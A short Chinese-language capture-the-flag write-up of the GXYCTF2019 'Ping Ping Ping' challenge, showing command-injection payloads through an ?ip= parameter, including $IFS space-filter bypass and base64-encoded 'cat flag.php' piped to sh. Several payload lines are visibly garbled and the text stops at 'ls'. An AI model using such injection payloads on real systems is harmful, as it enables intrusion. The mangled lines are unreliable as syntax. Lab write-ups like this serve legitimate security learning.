[GXYCTF2019]Ping Ping Ping
题目:
引入眼帘的是一片空白,只有/?id=
看到/?ip=、随便构造一个payload
分析:
考点是远程命令执行?继续尝试改造payload
老老实实走常规路线,查看目录文件,找到flag.php
无法直接cat flag.php
解题:
考绕过的知识点?
- 空格过滤
paload ==> ?ip=1;cat$IFS$1index.php
成功访问、给了提示、bash、flag、和一些字符被过滤掉了 ==> 用sh和其他编码试试(bash的软链接)
- base64 编码
payload ==> ?ip=1;echo%20%22Y2F0IGZsYWcucGhw%22|base64%20-d|sh
应该是要结合一下$IFS$1空格过滤
payload => ?ip=1;echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhw∣base64IFS$1-d|sh
payload => ?ip=1;echo$IFS 1 “ Y 2 F 0 I G Z s Y W c u c G h w ” ∣ b a s e 64 1“Y2F0IGZsYWcucGhw”|base64 1“Y2F0IGZsYWcucGhw”∣base64IFS$1-d|sh
难道是cat flag.php改成catflagphp ???
payload => ?ip=1;echo$IFS 1 Y 2 F 0 Z m x h Z y 5 w a H A = ∣ b a s e 64 1Y2F0ZmxhZy5waHA=|base64 1Y2F0ZmxhZy5waHA=∣base64IFS$1-d|sh
这不科学
- 内敛执行
payload ==> ?ip=1;cat$IFS$1
ls